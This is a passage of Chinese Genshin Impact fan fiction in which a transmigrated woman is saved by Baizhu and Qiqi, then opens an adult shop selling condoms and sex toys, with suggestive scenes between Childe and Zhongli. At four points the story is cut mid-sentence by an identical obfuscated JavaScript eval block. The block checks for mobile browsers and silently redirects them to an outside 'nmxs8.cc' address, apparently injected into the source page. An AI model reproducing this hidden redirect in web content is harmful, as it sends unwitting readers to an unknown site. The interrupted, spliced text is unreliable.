他把青棠送到门口，又朝着旁边的守卫招了招手：“大妹子不熟悉这块儿吧，俺安排人送送你？” “不用了。”青棠摆了摆手，心想我可太熟悉了，知道璃沙郊100%探索度的含金量么？ 犄角旮旯里的神瞳、地下三尺的宝箱，她全都记得清清楚楚！ 见她自信满满，大哥倒也没坚持，只嘱咐了句注意安全。 踏上返程之路的时候，天色已近傍晚，天边的云霞被落日染成金红，像打翻的朱砂晕染在宣纸上，层层叠叠地漫过远处天衡山的轮廓。 清爽的晚风吹起青棠的额发，她踩着商队留下的车辙，一边走一边踢石子，心中万分惬意。 以前玩游戏的时候，去哪儿都依赖传送锚点，跑任务也是冲刺拉满，第一次像这样悠闲地走在小路上，沉下心来欣赏野外的风景。 这样想想，抛开旅行者的金手指，做个普通人也挺有滋味…… ——才怪！！！ 青棠的脚步倏地刹住，她惊悚地盯着从灌木丛中跳出来的丘丘人暴徒，深深地吸了一口凉气。 那狰狞的木质面具、裸露皮肤上的猩红战纹、还有岩浆般燃烧的斧头，无一不彰显着——她马上就要成为丘丘人锅里的“滋味”了！ 冷汗霎时浸透了后背，青棠不动声色地退后了一步，丘丘人暴徒便挥舞斧头，紧跟着逼近一步，同时喉咙里发出低沉的吼声。 救命啊，你不是深渊里最送菜的怪吗？请摆正你的位置，不要表现得这么有压迫性啊！ 一瞬间，青棠追悔莫及。 那个学习丘丘语的日常任务，她为什么总是乱七八糟地瞎点？难道就没想过以后会穿越吗？ ——哪个单词是“你好”来着？ 她仿佛回到了刚开始玩游戏的时候，路遇丘丘人营地，手握垃圾无锋剑，拼尽甜甜花酿鸡无法战胜，最后还是七天神像底下见。 然而，七天神像不渡穿越者，而且现在她手上连无锋剑也没有，只能掉头拔腿就跑！ 就在这时，灌木丛中又钻出几个丘丘人射手，它们“咔哒”扣下弩机，冷光便直射青棠后心。 青棠听到了箭簇破风的声音，死亡的寒意如同毒蛇一般钻进她的身体，冻得四肢发麻。 她瞬间打了个激灵，脚下忽然踉跄了一步，膝盖一软，上半身便径直往前栽去—— “且尝，苦尽甘来。” 就在她即将与大地亲密接触的前一刻，一道熟悉的声音从头顶传来，随着这一声喝令，一股淡绿色的光芒迅速包裹住了她。 丘丘人的弩箭撞上那层光膜，眨眼间就碎成了齑粉。 青棠欣喜地抬起头，就见到了豆豆鞋紫秋裤…… 啊不是，就见到了一个碧发青衣的男人手捧法器，肩上盘着一条纯白的小蛇，金色竖瞳微垂，秀气地朝她笑了笑。 与此同时，一抹翠绿的游丝从法器中延伸出去，电光火石间就绞杀了那几个丘丘人。 “你没事吧……”一个稍显木讷的声音在耳边响起。 一个紫发小女孩扶着青棠的手，分明身高还不到她的腰，力道却大得惊人，稳稳地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438485|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑住了她，好险没让她摔个狗啃泥。 女孩的手透着异样的冰凉，脸色僵白如纸，额头上还贴着一道黄符，一看就不像活人。 若是寻常人，先遇到丘丘人再遇到小僵尸，此时恐怕就要受到二段惊吓，直接晕厥过去了。 青棠却粲然一笑：“七七！” 真是太惊喜了，这可是从开服就陪着她的呆萌小女鹅啊！ 而另一人的身份也呼之欲出了，青棠站起来，拍了拍身上的灰，“白术大夫，谢谢你救了我。” 她一弯眉眼，又望向挂在对方肩上的小蛇：“还有长生。” “哎呀，好久没遇到这么有礼貌的年轻人了。”白蛇口吐人言，欢快地摇了摇尾巴。 “救人本就是我该做的事。”白术如沐春风地微笑道，“姑娘瞧着面生，似乎不是不卜庐的病人。” ……忘记这茬了。 青棠赶紧自报家门，经过系统修正的马甲毫无破绽，瞒过钟离都没问题，白术自然也没有生疑。 三人往璃月港的方向走。 七七小小的身影背着大大的药篓，即使两个成年人刻意放慢了脚步，但每走一步路，她还是得迈着小短腿小跑两步才能跟上。 青棠看得一阵心软，忍不住伸出手：“要不我帮你背吧。” “啊、不用了……”七七的语速比正常人慢得多，但态度却很坚定，“七七，力气很大……” 青棠的手已经触到了药篓，她抓住竹筐边缘，尝试往上提—— 没提动。 这……她暗自咬紧牙关，沉下劲，再次聚气—— 还是没提动。 七七抬起头，困惑地看着她，似乎在说“你在做有实物表演吗”。 “噗。”白术没忍住笑了，掩唇咳嗽了两声，“交给七七吧。我身体不好，采药的事都是七七在做。” 大意了，原来七七夜里路过荻花洲，把晕倒在路边的降魔大圣背回了不卜庐的传说是真的。 青棠收回泛红的手掌，真心夸奖道：“七七真厉害啊！” “不厉害。”七七摇头，“新病人、很痛苦……” “新病人？”青棠疑惑地望向白术。 “一个中了花毒的病人。”白术无奈地解释道，“来不卜庐的时候，浑身上下起满了红疹，有些地方还长出了脓包……” 青棠听着这描述，感觉像是梅毒，顿时很嫌弃地说：“私生活不检点啊，这种人也要救吗？” 白术温和地说：“我是医者，凡是来求医的，都会尽力救治。” 青棠一怔，随即叹了一口气，果然不管在哪个时代，医生的职业道德都是相同的。 可以说，评判某个人的功过是阎王的活，而白术的工作，则是把那人的命从阎王手里抢回来。 “拉倒吧。”长生抬起蛇头，吐出信子，毫不留情地拆台，“这种病没有救治成功的先例，现在熬的药也只是拖延时间罢了。” 白术没有否认，但他显然看得更远：“此病无解，但若是能研究出预防之法，也是好的。” 嗯？ 青棠Get了关键词，忽然嗅到了商机——预防梅毒最有效的方法不就是远离传染源么？ 合欢馆开业在即，她正需要找个正当理由打开宣传口啊！ “那个……我有一计！” 8. 第 8 章 在璃月，但凡身体出现了什么小病小痛，绝大多数人首先就会想到去不卜庐就医。 即使不卜庐门口的台阶比命长，但白术大夫医术高超，而且医德极好，特别注重病患的隐私。 于是，那些有隐疾的患者，便格外喜欢往不卜庐跑。 他们往往眼神闪躲，脸色涨红，描述症状时含糊其辞，但发病原因却大差不差——多半是不安全性行为引起的发热。 每次遇到这种情况，白术就不会再刨根问底了，直接开出清热解毒的药方，为对方留些体面。 而这天，他不仅开了方子，还把一个小口袋递给对方，温声道：“以后就用这个吧。” 来求诊的中年男人一愣，打开袋口，看着里面小小的圈口和透明薄膜，一时有些摸不着头脑：“这是什么东西？” “唔、青老板说这个叫安全套。”白术用笔尖敲了敲药案，“总之是预防发热和花毒的。” 除了套子，口袋里还有一张小纸条，男人拆开看了一眼，那居然是一副简笔画形式的使用指南。 看到那直白的画面，男人的脸顿时烧了起来，说话都结巴了：“这、这真的有用……？” 白术笃定道：“当然。” “我、我试试吧。”男人低声说道，迅速将那小东西揣进兜里，欲盖弥彰地捂住裤兜，又鬼鬼祟祟地瞅了眼身后排队的病人。 见对方垂着眼，没注意到自己拿了什么羞耻的东西，他才掩饰性地拎起清火的药，猫着腰走了。 站在他身后的女孩叫思思。 这三天来，思思满打满算只睡了五个小时，眼底的黑眼圈浓得吓人，精神萎靡宛如游魂，自然没心思关注其他病人的异样。 “思思小姐？”不卜庐的药师阿桂伸手晃了晃，轻声唤道。 “啊。”思思如梦方醒，回过神才发现轮到她了，连忙坐到诊台前。 白术看着她蜡黄的脸色，甚至没有把脉，就开口问道：“思思小姐，最近有心事？” “是的。”思思揉了揉太阳穴，嗓音透着浓浓的疲惫，“我很焦虑，白天吃不下，晚上睡不着。” 听到这话，盘在白术肩上的长生一甩尾巴，立刻把脑袋扭了过去，如果不是没有眼皮，她这会儿大概已经翻起了白眼。 “来了来了，又是这种大夫治不了的病。”她小声说。 “长生。”白术无奈，安抚性地摸了摸她的头，又放缓语速问思思：“发生什么事了吗？” “是我的男朋友。”思思沉浸在自己的焦躁情绪里，根本没听到长生的话，自顾自地说道，“他叫潮汐，是一个水手。三天前我向他求婚，但他又一次拒绝了我。” “又一次？”白术沉默了一会儿，“这种情况持续多久了？” “整整五年！“思思痛苦地睁大眼睛，红血丝根根分明，“只要我提订婚，他就会说他刚从海上回来身心俱疲，不想谈这件事！” 白术神情微妙，很想说你的病叫恋爱脑，但出于医者的温柔，他最终还是没说出口，只是委婉道：“心病还须心药医。” 思思茫然地看着他。 “我先给你开服安眠药。”白术说，“但你这个情况，若是想根治，我建议你去合欢馆试试。” “合欢馆？”思思皱起眉头，越发迷惑，“那是什么地方？” 白术微笑道：“一家玩具店。” 拎着药走出不卜庐的时候，思思还有些恍惚，她是来看病的，为什么要让她去找玩具店？ 她倒是听说过，有些小孩生来智力低下，父母便会给他们买些七巧板、九连环之类的益智玩具，经过长期练习，小孩的智商也能提升到正常人的水平。 但她是成年人，买玩具治病，听起来未免太滑稽了。 可是白术大夫向来口碑极好，看起来又不像是在开玩笑…… 由于严重缺乏睡眠，思思的思绪本就像浆糊似的，现在又要动用那宛如史莱姆黏液的脑细胞，来思考白术的话到底靠不靠谱。 这对她极度疲乏的身体挑战太大了，神经系统一个不小心没能控制住肢体动作，脚下就忽然踩了个空，视线骤然天旋地转—— 她居然滚下了台阶！ 就是说，好好的药庐，为什么要建几十级台阶？！ 手臂在台阶棱上猛地一撞，霎时青紫一片。思思一边嘶声一边轻揉擦伤，痛得小脸都皱起来了，恨不得掉头去找白大夫赔医药费。 但恼怒的同时，她又很后怕。 幸亏她是在接近地面的台阶摔倒的，要是从更高的地方摔下来，或者滚进面前的莲花池，那可就不止是手背擦伤这么简单了！ “太危险了，这样的精神状态不能再持续下去了。” 思思心有余悸，翻出白术给的合欢馆地址，叹了口气：“死马当作活马医吧。” …… 今天是合欢馆开业的日子。 总务司不愧是以“璃月速度”著称的机构，办事效率令人叹为观止，仅仅三天，就派人把印好的经营许可证送过来了。 两家工厂也如期完成订单，昨天下午就寄来了约定好的试样。 青棠挑出部分安全套，连夜送到不卜庐，请白术给她推广。 白术收到货后，检查了一下安全套的质量，发现这确实是个预防相关病症的有效手段，当即决定这批免费的套子发放完之后，还要来合欢馆预定新的一批。 一开业就拥有了一个长期合作伙伴，青棠很是高兴，许诺以后给不卜庐的货都是友情价。 不过，不卜庐的宣传有滞后性，起码要再过几天才会见效。 开业第一天，合欢馆门口还是冷冷清清的，只有一些气球和几个花篮，旁边立着广告牌。 青棠哼着歌，悠闲地整理模特身上的情趣睡衣，拿出吊牌准备挂上，忽然门口传来怯怯的声音：“你好，请问这里是合欢馆吗？” 哟，来生意啦！ 青棠迅速摆出热情的笑容，转过身朝门口望去：“欢迎光临！” 思思扶着门框，好奇地探了探头，一眼就看见了房间里的女孩和人体模特。 那模特穿着的衣服像是蒙德风格的女仆装，细看却又不同。 柔软的荷叶边刚好遮住饱满的胸脯，粉白的围裙勾勒出纤细的腰肢，侧乳和后背却又剪成了大片的镂空，只有两根细细的丝带从蝴蝶骨交叉而过，松松地挂在脖颈上。 模特的头顶还戴着一副兔耳，锁骨窝间坠着一只铃铛，腰后塞着毛茸茸的兔子尾巴。 最关键的是，这家店的门窗并不透明，在外面看只觉得神神秘秘的，走进来才发现别有洞天。 整个店的光源只有几盏落地灯，那灯光透着某种暧昧的粉色，宛如融化的蜂蜜，浓稠地流淌在空气里，将穿着兔子装的模特烘出了成熟浆果般甜蜜诱人的感觉。 一股甜腻缠绵的花香徐徐飘来，思思的脸颊突然有些发烫，如果不是看到店主是和她年龄相仿的女孩，她可能掉头就走了。 青棠当然不能让她走了，这可是第一个登门的顾客。 她放下吊牌，从柜台边拿了一杯椰奶，走过去塞进思思手里，甜甜一笑道：“进来看看吧。” 温热的椰奶安抚了思思紧张的情绪，她往店里走了两步，看到两侧站着好几个模特，每个模特身上都穿着清凉性感的衣服，瞧着不像玩具店，倒像是服装店。 她红着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438486|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错开视线，又怕自己找错地方了，便率先开口：“我叫思思，是白术大夫让我来的，我最近……没什么精神。” 青棠了然：“是感情问题吗？” 思思一怔，没想到她一秒就道破了，看来这家店也没有她想的那么不靠谱嘛：“是的。” “坐下说吧。”青棠放下门帘，将她领到了角落里的休息区。 那里铺着柔软的羊绒地毯，错落摆放着几个舒适的懒人沙发，旁边是两个木质展示台。 一坐下，懒人沙发随着思思的动作微微塌陷，将她整个人包裹在内。落地灯光线柔和，这块休息区就像是充满安全感的小岛。 思思窝在沙发的模样就像跋涉数日终于归巢的小鹿，青棠注意到了她疲倦的脸色，先说了几句俏皮话，随后才慢慢进入正题。 私密的环境，轻松的对话，思思小口啜饮着椰奶，不知不觉就把恋爱的烦恼说出口了。 “白大夫让我到这里来，是有什么灵丹妙药可以忘掉不愉快的事吗？”思思天真地问道。 青棠皱着眉头，拳头梆硬，脑海中充斥着狂凑渣男再把他丢进云来海喂魔神的想法。 她对思思还有印象，对方每天都会去港口等她的男朋友潮汐，但潮汐却以各种理由拒绝跟她结婚。 思思不知道的是，其实潮汐早就劈腿了，不仅一直吊着她，还骗了一个叫翠儿的女孩。 还惯着渣男呢，睁开眼看看吧，外面根本没下雨。 青棠猛地站起来，跨过地上的软垫，一把抓起展示台上的震动棒，斩钉截铁地说： “你该忘掉的不是不愉快的事，而是那个渣男！你需要的也不是灵丹妙药，而是这个！” 刚才聊天的时候，思思就偷偷瞟了几眼这个不明柱体，觉得这东西看着就让人有种羞耻的联想。 现在青棠把这东西直挺挺地杵到她面前，她更是羞涩了，小声问道：“这是什么呀？” “是比你的废物男朋友更好用的玩具。”青棠把震动棒的用处解释了一番，思思直接呆在了原地。 青棠握着她的手，摸了摸顺滑的软皮，低语道：“我们使用的都是最干净最安全的材料，只要你用过一次，就会爱上它了。” “但、但是……”思思脸色爆红，觉得自己应该把手抽回来，可是那玩具的表面确实很细腻舒服，摸起来沙沙的，让人爱不释手。 青棠循循善诱：“只有你才知道自己的感受，自己给自己快乐，释放压力，这不好吗？” “好、好吧。”思思心动了，她的焦虑实在太严重了，的确需要舒缓一下，至少让她睡个好觉。 而且这个店铺的环境太安逸了，只是在沙发里躺了十几分钟，紧绷的神经就像是得到了按摩，连隐隐的头疼也消了，这让她本能地就对这位年轻的店主多了几分信任。 思思付了钱，接过包装袋抱在怀里，匆匆道别后就低着头快速往外走，出门时差点撞到人。 “当心啊，小姐。”好在被撞到的人身手敏捷，立刻往旁边躲开了，甚至好心扶了她一把。 “呀，债主来啦！”一听到这声音，青棠就知道是公子来了。 还没进门，达达利亚就闻到了甜津津的香味，被调侃后更是笑了起来，毫不吝啬地给出了债务人的肯定：“做得不错嘛，伙伴！” “那你要不要考虑给我把欠款免了？”青棠拉开门帘，探出头，眉梢挑起狡黠的弧度：“这样你就荣升投资人了，咱们每季度一分红，怎么样？” “哦？”达达利亚大笑，“那我可要好好考察一下了。” 话音刚落，青棠仿佛早有准备，唰地把门帘完全拉开，胳膊一伸，嘴角一扬：“您请好嘞！” 9. 第 9 章 一进门，达达利亚就对人体模特表现出了极大的兴趣。 他绕着穿兔子装的模特走了一圈，摸着下巴，喃喃自语道：“这腿环好像是松紧带的，戴在钟离先生的大腿上，勾起来再弹回去的话……嗯、会勒红的吧？” 转过身，又盯着一套人鱼装，沉吟道：“虽然钟离先生不喜欢海洋生物，但这个腰链的长度……坠下来的银饰正好挂在腰窝呢。” 左移两步，走到一套皮链束缚装面前，目光紧跟着撇过去，“还有这个系链的项圈——” 幻想时间戛然而止，达达利亚被身边人灼热的眼神吓了一跳：“怎么了伙伴？你似乎有话想问。” 青棠猛猛点头，眼睛在幽暗的灯光里亮得惊人：“可以问吗？” “当然可以。”达达利亚笑道。 青棠激动地睁大眼睛，先深呼吸了一下，将满腹疑问沉入丹田，然后一口气喷涌而出： “发情期是真实存在的吗？” “做三天三夜会怀孕吗？” “龙龙真的有两根吗？” 达达利亚：“…………？！” “喂！”达达利亚眼睛瞪得像铜铃，手忙脚乱地打断她的暴言，揽过她的肩膀往下压，另一只手抵在唇边做了个噤声的手势。 神情一瞬间变得心虚的起来，嗓音也压得很低：“抱歉啦伙伴，上次我喝醉了，不小心才说了那些话，你可千万别把钟离先生的身份告诉别人啊。” 这小子还以为自己透题了啊。 “我不说。”青棠乖巧点头，“那你能不能告诉我，这些私设到底是不是真的？” 达达利亚面露难色：“这个……” “这个对我真的很重要！”青棠眨巴着亮晶晶的眼睛，满眼都是对知识的渴望。 “咳咳——” 忽然，一道清脆的女声在身后响了起来：“哎呀呀，有什么秘密是我不能听吗？” 两个脑袋凑在一起的人顿时一惊，齐齐扭过头。 胡桃拂开门帘走了进来，好奇地瞧着青棠和达达利亚。钟离跟在她身后，手里提着两个礼盒，面色如常地往这边瞥了一眼。 青棠登时如芒在背，什么叫说曹操曹操到啊，看帝君这个平静的表情……应该是没听到吧？ “你们来啦，快请进！”她赶紧挥开达达利亚的手，接过钟离递来的礼物，语调浮夸地转移话题，“太客气了吧？” “哼哼，这可是本堂主亲手做的幽幽大行军，和客卿炖的腌笃鲜。”胡桃揭开汤盅，热气蒸腾，一股鲜甜的味道便扑鼻而来。 青棠深深吸了一口，万分感慨：“本来想去新月轩订餐的……没想到你们都送了吃的啊，那我中华小当家也露一手好了！” 这熟悉的称号勾起了一些黑暗的回忆，胡桃立刻警惕道：“不许做清心炒史莱姆凝液！” 青棠趁机把胡桃拉进厨房，毫无心理负担地丢下了公子。 哥啊你也是老背锅侠了，帝君要是不幸听到了，真问起来你就认了吧，你就是馋他身子！ 店内倏然安静下来，甜腻的花香萦绕在鼻尖，达达利亚站在原地，眼神晦暗地盯着钟离，嘴唇微微动了动，正想说点什么—— 对方就迎着他露骨的目光走了过来，路过他身边的时候稍一停顿，眉梢一扬，轻笑道：“这个项圈，倒是很适合公子阁下。” 说完就迈开长腿，绣着金线的衣角扫过达达利亚的小腿。 达达利亚就像是触了电，浑身打了个激灵，Emo情绪瞬间消失不见，他下意识伸出手，脱口而出：“先生，你原谅我了吗？” 手腕冷不防被人扣住，钟离一顿，尝试着往外抽，可对方力气太大，一时间居然没抽出来。 再看抓着他不放的人，正眼巴巴地等着他的回答，眼神里涌动着……仿佛永远不会枯竭的热情。 钟离暗自叹了口气。 在某些方面，达达利亚甚至比他还要认真。他随口一怼，在对方看来却是暗示，并且执着地想再从他这里得到些什么。 少年人的真心，有时候热烈到让人难以招架，又没法拒绝。 钟离轻叹：“以普遍理性而言，我并未对你产生愤怒的情绪，只是觉得你对长生太过执念。” 作为一个战士兼外交官，达达利亚很早就接受过女皇陛下的教导，一旦敌人的防线出现松动，那就是乘胜追击的好机会。 虽然钟离先生不是敌人，但这个道理是相通的。 于是，眼看着钟离态度缓和了，也不管他这话里有多少斥责的成分，达达利亚眉眼一弯，抓着他的手又用力了几分。 然后得寸进尺地凑上来，迅速在他脸侧浅啄了一口，亲完还大言不惭地说道：“那我先预支一点先生的宽容好了。” 话题被人轻巧揭过、还白白被亲了的钟离：“……” “好了。”他抽出手，掩饰性地蹭了蹭发烫的侧颊，“你我都是客人，莫让青老板久等了。” …… “感谢往生堂和北国银行对本店的大力支持，值此开业之际，青某人诚心敬各位一杯！” 叮当一声，四个酒杯被举起来，在半空中碰了一下。 胡桃放下杯子，迫不及待地给青棠夹了一筷子菜，“快尝尝我的幽幽大行军，下次厨王争霸赛，本堂主定要惊艳全场！” 这道菜的名字听起来有点诡异，但实际上就是素鲍鱼，只是被胡桃做成了幽灵的形状。 青棠夹起来尝了一口，香菇软糯滑嫩，入口生香，一点也不输真正的鲍鱼：“好次好次！往生堂就是我的衣食父母！” 这半个月，她都很少开火做饭，每天跑到隔壁蹭吃蹭喝，厨房师傅都认识她了，被她抹了蜜的小嘴一夸，还心花怒放地给了她点菜权，比正经在编的小仪官还滋润。 达达利亚正在跟筷子斗智斗勇呢，闻言挑了挑眉梢，当即放弃了那两根筷子，拿勺子挖了一大块奶酪搁到青棠碗里：“伙伴，尝尝我从至冬带来的奶酪。” 青棠刮下一小块，塞进嘴里，先尝到了微微的酸味，然后是浓郁的奶香，口感醇厚丝滑，就像吃了一口酸奶冰淇淋。 “哇！”她啧啧称奇，“和璃月的奶制品味道很不一样呢！” 这话胡桃就不爱听了，她挖起一勺杏仁豆腐：“杏仁豆腐甜而不腻，更适合璃月宝宝口味！” 达达利亚不甘示弱，掰开一块蜂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438487|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜面包：“至冬的蜂蜜香甜养胃，还有美容养颜的功效！” “这碗莲子蛋羹清火降燥……” “这份甜菜沙拉酸甜爽口……” 吃饭吃得香是种天赋，像青棠这样吃完还会给出无限夸夸的，就是餐桌上的“必争之人”。 胡桃和达达利亚一来一往地投喂，火药味堪比两国的外交战争。 青棠眼看着面前的碗越堆越高，变成了摇摇欲坠的小山，终于忍无可忍地一拍桌子：“钟离先生，你管管他们啊！” 这话一出，两个互呛的人瞬间停下动作，三个人六只眼睛齐刷刷望向一语不发的钟离。 钟离收起看戏的目光，淡定地抬起手，从盛腌笃鲜的砂锅里捞起一片笋，轻飘飘地放在那座小山尖上，悠悠道：“这是轻策庄的雨后春笋，小友务必尝尝鲜。” 轰—— 菜山倒了，青棠心态崩了。 无数“#”字从她的额头跳了出来，她无语地扭过头，正想说钟离先生你太幼稚了—— 却见到对方以手握拳，抵在唇边，眉眼舒展地笑了。 钟离的容貌，符合华夏人对古典美的全部想象了，精致得如同水墨画。一笑起来，那画卷便活了过来，透出一种温柔的生动感。 青棠看呆了，一个念头从脑子里跳出来——果然爱情使人幼稚，连帝君也不能免俗。 她又扭头去看达达利亚，这位更是……快收收你的眼神，你是真不拿我们当外人啊！ 吃完饭，胡桃和钟离就告辞了，往生堂今天有业务，两人要去无妄坡准备晚上的丧葬典仪了。 等青棠收拾好餐具出来的时候，就看到达达利亚还在研究他心心念念的那个项圈。 这套衣服几乎没有布料，完全由几条材质柔韧的皮带固定身体，所以穿起来特别挑人。 太瘦了是撑不起来的，但如果是那种肌群发达的猛男，粗糙的皮带锁死贲张的青筋，反差之下就能表现出荷尔蒙溢出的爆发力。 “亲，这么喜欢这套啊？本店支持定制哦！”青棠凑到达达利亚身边，极力推销，“还可以免费改尺寸，只需要提供钟离先生的五围数据——龙身定制也接噢。” “咳。”达达利亚偏过头，有些不好意思地说，“用我的数据。” “啊？”青棠一愣，看到对方“敢说出去你就死定了”的眼神，突然反应过来他是来真的。 “哇喔~”她的语调瞬间转了十八个弯，“看来你和钟离先生谈得不错嘛，不枉费我组局了。” 又趁机道：“要不要考虑100W入股，给股东做衣服不收钱噢！” 一天一套也没问题，相信你俩完全可以做到回本！ 即使面对如此有诱惑力的条件，达达利亚也没有立刻答应：“那之前说的分红？” 青棠：“有的兄弟，有的。” 达达利亚满意了：“你在北国银行的欠款，一笔勾销。” “好耶！合作愉快！”青棠欢呼一声，用力跟大股东击了个掌。 真是美妙的开局啊，不仅开业第一天就做了一单生意，还不费吹灰之力只靠画大饼就平了债务。 前途一片光明啊！ 10. 第 10 章 不卜庐的宣传效果远超预期。 刚开始的两周，合欢馆赠送的那些安全套，不卜庐也是当作看病抓药的赠品免费发放的。 病人们看白术大力推荐这东西，觉得反正不花钱，不用白不用，于是都很乐意地拿回去试了试。 这一试，就被惊艳到了。 这个小套子并不像看上去那么憋屈，反而又软又有韧性，体验感比想象中好太多了。 最关键的是，用过之后，就真的没有再出现过敏和发热的症状了，意外地省下了不少问诊费。 于是，很多人用完一小盒之后，又想到不卜庐来领新的，却被阿桂告知每个人只能免费拿一盒。 拿过的人都已经登记在册了，想浑水摸鱼是不可能的。 但因为这个东西实在太好用了，所以还是有不少人欣然付款，一口气在不卜庐买了好几盒带回家。 也有人问到了合欢馆的地址，选择到店内购买，这样就可以蹭到一些开业优惠了。 这一部分人进店之后，受到那种舒缓安逸的氛围影响，再听青棠推销几句，往往又被展柜里形状各异的其他小玩具吸引，最后稀里糊涂地花出比预算多得多的钱…… 不过也有些人，尝到了免费的甜头，就死活不愿意花钱买了，而是自以为机灵地去了别的药庐，询问这里有没有赠品安全套。 黄氏药庐的老板一听都懵了，什么套？完全没听说过啊？ 结果那个想白嫖的病人两眼一翻，直接就开始冷嘲热讽，说你连治花毒的东西都不知道，难怪比不上人家不卜庐呢！ 黄老板气撅了，心说是你懂治病还是我懂治病啊？花毒根本就没法痊愈，哪来的治疗法子？ 同时，他又觉得很冤枉，连忙派人去打听不卜庐在搞什么新花样，怎么没有那什么套的店铺都要被上升到开除药庐籍了呢？ 伙计手脚麻利，很快去不卜庐晃悠了一圈，领回一盒安全套。 黄老板一看到那小玩意，就觉得真是不得了啊！他也是行医半生的老大夫了，当然看得出来这是真有效果的，不是什么花架子。 按照伙计给的地址，黄老板亲自登门拜访合欢馆，也想跟不卜庐一样进一批货，放到店里出售。 青棠客客气气地接待了他，和善地报出一个批发价。 “这……”黄老板面露不虞，显然不信她的说辞，“若是按照不卜庐的售价，岂不是只有一成利？” 不卜庐自然不止这点利润了，白术曾经也是青棠队里的奶爸担当啊，而且前不久还救了她，所以她给不卜庐的货都是友情价，只在成本价的基础上加了两成。 但其他找上门来的药庐就没那么好运气了，青棠是以四成利的价格给他们供货的。 此时黄老板提出质疑，她也不慌不忙，绝口不提她和不卜庐的关系，只是笑眯眯地说： “您放心，凡是在我这里进货的药庐，到手都是同样的价格。这东西您也摸得到，用的都是好材料，成本价就摆在这里呢，您再砍价我就是亏本生意了。” “但是这利润也太薄了。”黄老板还是很不甘心，“您也别怪我说话难听，我看得出来，这东西技术成本不高，用的也不是特别稀罕的材料，想仿制很容易。” 这个问题青棠当然也考虑过，任何东西只要火了，必然就会出现跟风的和山寨的。 要想在围剿之下牢牢占据市场份额，要么就是走精品路线，要么就是拼命压缩成本。 而青棠在成本上天然就有优势，因为她找的代工厂是往生堂介绍的，人力成本极低。她很有自信，除非偷工减料，否则不可能有人做出成本更低的产品了。 而这种贴近皮肤的东西，质量如何是很容易感受到的，垃圾材质根本不会有市场。 至于精品路线，她早有准备。 青棠不紧不慢地说：“您当然可以复制出一模一样的产品，但那也是需要时间的。这东西是不卜庐最先开始发放的，等您的流水线正式投入运营的时候，消费者早就只认不卜庐和合欢馆了。” 这就是品牌效应了。 青棠又说：“您也别嫌弃一成利薄，您只是从我这里进货，倒手就赚一成利，什么都不用操心就能躺着数钱，这不是等于白捡吗？” “再说了，财富都是聚少成多的。哪怕是天权星凝光大人的群玉阁，也是她从年少时就一点一滴攒起来的，您说是不是这个道理？” 青棠的一席话，说话黄老板哑口无言。他本来以为对方年纪不大，应该是初出茅庐的商业菜鸟。 谁成想对方居然舌灿莲花，谈判话术一套一套的，连璃月七星都搬出来了，表现得十分有底气，完全没有新手的生涩和胆怯。 如果不是天生的商业奇才，那就是背后有大佬撑腰了。 黄老板顿时收起了怠慢的神色，开始提条件：“我们黄氏药庐，最大的优势就是在璃月势力最广。归离原、轻策庄、遗珑埠……这些地方都有我们的分店，如果您愿意让出部分利润，作为回报，我们也会在每家店都铺上货。” 青棠心念一动，暗道这黄老板总算拿出点诚意了。 虽然不卜庐在璃月的知名度远非其他药庐可比，但白术体质特殊，而且大部分精力都用在研究各种奇病上，所以只在璃月港内开了一家药庐，辐射范围终究有限。 现在黄老板主动提出向整个璃月大面积铺货，正是打响合欢馆知名度的好机会！ 青棠稍一权衡，便做好了决定，但条件还是要谈一谈的。 她似是犹豫了一阵，直到黄老板等得不耐烦了，才慢吞吞地说道：“依你所言，倒也不是不行，但我还要追加几个条件。” 见这事有希望，黄老板立刻做出洗耳恭听的姿态：“请说。” “首先，你们每家店都要在最显眼的位置，摆上合欢馆的宣传广告。其次，合欢馆有新活动的时候，你们也要配合推广。最后，日后如果有其他商人来找你们合作，无论他开出怎样的条件，你们必须拒绝。” “如果能做到这些，那我可以给你们降两成价格。” 黄老板边听边呲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438488|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 